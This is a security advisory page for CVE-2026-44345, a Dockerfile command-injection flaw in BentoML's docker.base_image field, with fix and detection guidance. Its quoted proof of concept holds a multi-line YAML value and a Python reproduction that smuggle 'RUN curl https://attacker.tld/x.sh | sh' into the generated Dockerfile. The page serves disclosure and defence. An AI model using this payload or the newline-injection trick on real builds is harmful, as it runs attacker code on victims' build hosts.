AgentbeamBeta
AI agent vulnerability · BentoML

CVE-2026-44345: BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)

highCVSS 3.1 8.8GHSA-78f9-r8mh-4xm2

BentoML up to 1.4.38 inserts `docker.base_image` from `bento.yaml` into the generated Dockerfile with no escaping. A multi-line value adds arbitrary Dockerfile directives, and `bentoml containerize` then runs injected `RUN` lines on the build host. Fixed in BentoML 1.4.39.

Published May 11, 2026 · Updated Jun 8, 2026 · Analysis Nov 11, 2026

What an attacker can do

The Dockerfile template base_v2.j2 renders FROM {{ __options__base_image }} AS base-container. DockerOptions.base_image in build_config.py has no validator, converter or newline check, and is loaded straight from the bento's YAML. A value with line breaks becomes several Dockerfile lines.

The proof of concept sets base_image to python:3.10, then a RUN curl line that pipes a remote script into sh, then FROM scratch. The rendered Dockerfile holds three directives. The trailing FROM scratch AS base-container keeps the named stage the template needs, so the build does not fail. docker build runs the RUN line.

The attacker needs the victim to run bentoml containerize on an attacker-supplied bento or bentofile. That happens when teams pull community bentos, build from a third-party repository, or run containerization in CI on pull requests from forks. The build executes commands inside the Docker build, and the advisory describes the result as arbitrary command execution on the victim's host. It is a sibling of GHSA-w2pm-x38x-jp44, which injects through envs[*].name in the same template.

Who is affected

bentoml on PyPI up to and including 1.4.38. Only builds of bentos or bentofiles from sources you do not control are at risk, but a shared build server is a typical target. Check:

pip show bentoml

bentoml

Ecosystem
PyPI
Affected
<= 1.4.38
Fixed in
1.4.39
Check
pip show bentoml

How to fix it

Upgrade to BentoML 1.4.39:

pip install --upgrade bentoml==1.4.39

The advisory names no workaround. Until you upgrade, do not run bentoml containerize on bentos or bentofile.yaml files from untrusted sources, and read the docker.base_image value first. A legitimate value is a single image reference on one line.

How to tell if you were hit

Inspect bentofile.yaml and bento.yaml for a docker.base_image value that spans several lines or contains RUN, curl or a second FROM. Review the generated Dockerfile in the bento's env/docker directory for unexpected directives. Check build host logs for outbound requests made during docker build, and for CI jobs that built external bentos.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):

FROM {{ __options__base_image }} AS base-container

__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):

base_image: t.Optional[str] = None

No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.

PoC

Malicious bentofile.yaml:

docker:
  base_image: |
    python:3.10
    RUN curl https://attacker.tld/x.sh | sh
    FROM scratch

Minimal reproduction of the unsafe interpolation:

from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)

Output:

FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-container

Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.

Impact

Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.

Suggested fix

Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.

The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:

  • __options__build_include[*] at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) — same newline-injection class for path entries from Image.build_include(*file_paths).
  • bento__user, bento__uid_gid, bento__path, bento__home, bento__entrypoint — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through override_bento_env.

References

  • Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.
  • CWE-78: https://cwe.mitre.org/data/definitions/78.html

Credited to SSJCorpSec.

Questions

Is BentoML 1.4.38 affected by CVE-2026-44345?

Yes. All versions up to 1.4.38 are affected. 1.4.39 is the fix.

Does the attacker need access to my server?

No. They need you to containerize a malicious bento, which then runs their commands in the Docker build.

How does it relate to GHSA-w2pm-x38x-jp44?

Same Dockerfile template. That advisory covers injection through envs[*].name, and this one through docker.base_image.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More BentoML vulnerabilities

All BentoML entries